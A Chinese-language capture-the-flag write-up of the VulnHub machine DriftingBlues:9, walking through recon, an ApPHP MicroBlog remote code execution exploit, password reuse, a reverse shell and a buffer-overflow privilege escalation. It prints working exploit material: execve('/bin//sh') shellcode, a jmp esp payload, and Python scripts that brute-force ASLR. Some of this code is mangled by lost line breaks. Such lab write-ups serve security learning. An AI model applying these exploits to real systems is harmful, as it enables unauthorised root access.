目录

简介

信息收集

漏洞发现与利用

权限提升

clapton用户Shell

缓冲区溢出

root用户Shell

总结


简介

靶机地址:http://www.vulnhub.com/entry/driftingblues-9-final,695/

该靶机总的来说和作者描述的一样,是简单类型的,据说和OSCP的类似。通过搜索ApPHP MicroBlog漏洞发现远程代码执行漏洞,利用该漏洞获取网站权限,通过数据库连接文件获取用户密码,进而获取普通用户权限,最后通过缓冲区溢出SUID权限程序获得root用户权限。

信息收集

使用Nmap扫描目标主机,发现80端口运行着Apache httpd 2.4.10服务,网站标题为ApPHP MicroBlog,操作系统为Debian,内核版本3.2 - 4.9,如图:

访问80端口Web服务,在网站底部发现Admin登录入口,如图:

访问Admin登录页面,如图:

测试未发现SQL注入和弱口令等,然后扫描网站目录,但未发现有价值的信息,如图:

漏洞发现与利用

然后搜索ApPHP MicroBlog相关漏洞,在Exploit-DB发现远程代码执行漏洞利用脚本,如图:

使用该脚本测试直接获得网站权限,如图:

权限提升

查看网站文件发现include/base.inc.php文件中存在数据库用户名和密码,如图:

clapton用户Shell

在/etc/passwd文件中发现存在普通用户clapton,和数据库用户相同,尝试使用该密码获取普通用户权限,发现当前Shell不是交互式shell,然后构造反弹Shell的命令,如图:

使用Python开启伪终端,使用刚刚获取到的用户名和密码成功切换到clapton用户Shell,如图:

缓冲区溢出

在用户目录下发现input、note.txt和user.txt文件,note.txt文件中提示需要用缓冲区溢出,并给了新手32位程序缓冲区溢出学习资料:

  • https://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html
  • https://samsclass.info/127/proj/lbuf1.htm

如图:

将input文件下载到本地,使用checksec工具检查文件发现该文件未启用任何保护措施,如图:

使用命令sudo chown 0:0 input和sudo chmod 4755 input修改input文件所有者,并赋予程序特殊权限,如图:

使用cyclic工具生成500个字符组成的字符串用于计算偏移量,如图:

然后关闭操作系统ASLR,启动gdb调试input程序,将500个字符组成的字符串传入程序并运行后程序奔溃,EIP寄存器的值为“bsaa”,如图:

使用cyclic -l bsaa计算出偏移量为171,构造Payload:“171个A”+“jmp esp地址”+Shellcode,内存布局如下:

然后使用edb-debugger随便传入参数调试程序,如图:

运行程序后使用“Ctrl+O”快速打开Opcode Search插件,寻找jmp esp指令地址,如图:

选择第一个地址,执行./input `python -c "print 'A'*171+'\x79\xe3\xdc\xf7'+'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'"`成功获得root权限,如图:

但是在靶机执行时未成功,查看/proc/sys/kernel/randomize_va_space发现靶机开启了ASLR,参考Exploit 开发系列教程之七 绕过 ASLR进行ASLR绕过,代码如下:

#!/usr/bin/python3
from subprocess import call,Popen,PIPE# "\x79\xe3\xdc\xf7"
# 获取libc基址前两个字节
p=Popen('ldd ./input | grep libc',shell=True,stdout=PIPE)
libc_addr=p.stdout.read()[-10:-6]
libc_addr=libc_addr.decode()
# 将libc基址前两个字节和jmp esp指令地址的后两个字节拼接
libc_addr='79e3'+libc_addr[2:4]+libc_addr[0:2]
libc_addr=bytes.fromhex(libc_addr)pad=b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
sc=b'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
buff=pad+libc_addr+scprint(buff)i=0
while 1<256:ret=call(['./input',buff])if not ret:breaki+=1

依旧在本地成功,靶机中没有python3,将代码改为Python2版本后仍然失败,如图:

最后发现是因为libc.so.6不同造成的,使用find / -name libc.so.6 2>/dev/null找到靶机的libc.so.6文件,然后下载到本地,参考pwn入门实验1:缓冲区溢出(return2shellcode和jmp esp)获取jmp esp指令相对libc基址的偏移地址,代码如下:

#!/usr/bin/python3
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
libc = ELF('./libc.so.6')
jmp_esp = asm('jmp esp')                                   jmp_esp_addr_in_libc = libc.search(jmp_esp).__next__()
print(hex(jmp_esp_addr_in_libc))

获取靶机libc中jmp esp的偏移地址,如图:

修改提权脚本如下:

# -*- coding: utf-8 -*-
#!/usr/bin/python
from subprocess import call,Popen,PIPE
import structp=Popen("ldd ./input | grep libc",shell=True,stdout=PIPE)
libc_addr=p.stdout.read()[-12:-2]
print(libc_addr)
eip=0x2a81+int(libc_addr,16)
jmp_esp=struct.pack('<I', eip)
pad="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
sc='\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
buff=pad+jmp_esp+sc
i=0
while 1<256:ret=call(['./input',buff])if not ret:breaki+=1

root用户Shell

由于用户目录下没有权限写文件,因此使用ln ~/input /tmp/input命令在/tmp目录下创建软链接,将提权脚本上传到靶机,执行之后成功获得root权限,如图:

总结

靶机虽然不难,但在提权过程中花了不少时间,主要是学过的缓冲区溢出又忘记了,最终还是重新拿回来了,做这种靶机感觉很有趣。

VulnHub-driftingblues:9相关推荐

  1. VulnHub—DriftingBlues: 5

    一.信息收集 1.使用nmap扫描存活主机 2.发现192.168.189.158开放了80和22端口,访问其80端口 3.发现是用wordpress搭建的站点,对其进行目录扫描发现wordpress ...

  2. 看完这篇 教你玩转渗透测试靶机Vulnhub——DriftingBlues-5

    Vulnhub靶机DriftingBlues-5渗透测试详解 Vulnhub靶机介绍: Vulnhub靶机下载: Vulnhub靶机漏洞详解: ①:信息收集: ②:暴力破解: ③:ssh登入: ④:K ...

  3. 看完这篇 教你玩转渗透测试靶机Vulnhub——DriftingBlues-2

    Vulnhub靶机DriftingBlues-1渗透测试详解 Vulnhub靶机介绍: Vulnhub靶机下载: Vulnhub靶机漏洞详解: ①:信息收集: ②:暴力破解: ③:漏洞利用: ④:反弹 ...

  4. 看完这篇 教你玩转渗透测试靶机Vulnhub——DriftingBlues-1

    Vulnhub靶机DriftingBlues-1渗透测试详解 Vulnhub靶机介绍: Vulnhub靶机下载: Vulnhub靶机漏洞详解: ①:信息收集: ②:目录爆破: ③:暴力破解: ④:提权 ...

  5. 看完这篇 教你玩转渗透测试靶机Vulnhub——DriftingBlues-3

    Vulnhub靶机DriftingBlues-3渗透测试详解 Vulnhub靶机介绍: Vulnhub靶机下载: Vulnhub靶机漏洞详解: ①:信息收集: ②:反弹shell: ③:ssh私钥登入 ...

  6. 渗透测试靶机搭建_对vulnhub中Android4靶机渗透测试全过程!

    Android4靶机简介 名称:Android4 操作系统:Android v4.4 标志:/data/root/(在此目录中) 等级:初学者. 下载链接:Android4:https://downl ...

  7. Vulnhub靶机渗透之 RAVEN: 1

    目录 Description 网卡信息 信息收集 主机发现 主机存活扫描 端口扫描 网站信息 网站首页 nikto 报告 service 页面 wordpress 渗透过程 SSH 爆破 Hydr 命 ...

  8. [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可 ...

  9. 【Vulnhub靶机系列】DC2

    基本信息 Kali:192.168.61.145 DC2:192.168.61.162 实验过程 在Kali中先进行内网探活 sudo arp-scan --interface eth0 192.16 ...

  10. 【Vulnhub靶机系列】DC1

    基本信息 Kali: 192.168.56.116 DC1: 192.168.56.115 实验过程 先在Kali中使用arp-scan进行主机探活 sudo arp-scan --interface ...

最新文章

  1. MSDynamicsAX2009成本处理与重估(中文)
  2. Java继承的概念与实现
  3. ABAP 标准培训教程 BC400 学习笔记之一:ABAP 服务器的架构和一个典型的 ABAP 程序结构介绍
  4. C++ STL 容器的一些总结 --- set(multiset)和map(multimap)
  5. 计算机的屏幕约是16平方分米吗,小明的卧室有16平方分米对不对
  6. 为什么普通红包自己不能领_为什么窗帘不能用洗衣机洗呢?千万别让窗帘砸在自己手里!...
  7. SpringBoot之json转java实体类
  8. php-cs-fixer不起作用,使用 PHP-CS-Fixer 规范PHP代码
  9. Linux编写带缓存的程序,Video4linux2应用程序编写
  10. ASP.NET Web Pages:WebGrid 帮助器
  11. 高端程序员上班摸鱼指南
  12. 极路由 斐讯K2 Newifi 华硕固件 实现ipv6穿透方法
  13. Linux交换分区 swap分区
  14. ERR invalid expire time in setex
  15. 如何快速掌握一门新的技术
  16. logback-spring.xml配置详解
  17. (前端开发)java获得当前时间和第二天时间
  18. vertical-align和text-align的理解
  19. 许键树:华为云视频直播在各细分场景的体验指标优化实践
  20. 时代周刊对比海地与汶川地震 称赞中国重建能力

热门文章

  1. epoll机制的理解
  2. 代码审计--CatfishCMS文件上传漏洞
  3. html 超链接ppt,HTML和超链接.ppt
  4. 毕业设计-深度学习的施工安全帽图像检测算法
  5. python自动化广告收益_薅羊毛? 月入10万? | 这是自动化测试老司机的特长--Python自动化带你薅视频红包,一个都不放过!...
  6. DSP定点运算之数字信号处理算法的定点化及其C语言仿真(转)
  7. 将多个Excel工作薄合并成一个工作薄如操作过程
  8. 部分用户访问Polycom视频会议时故障
  9. crm客户关系管理功能有哪些?
  10. 中天易税服务器网站,中天易税网上认证系统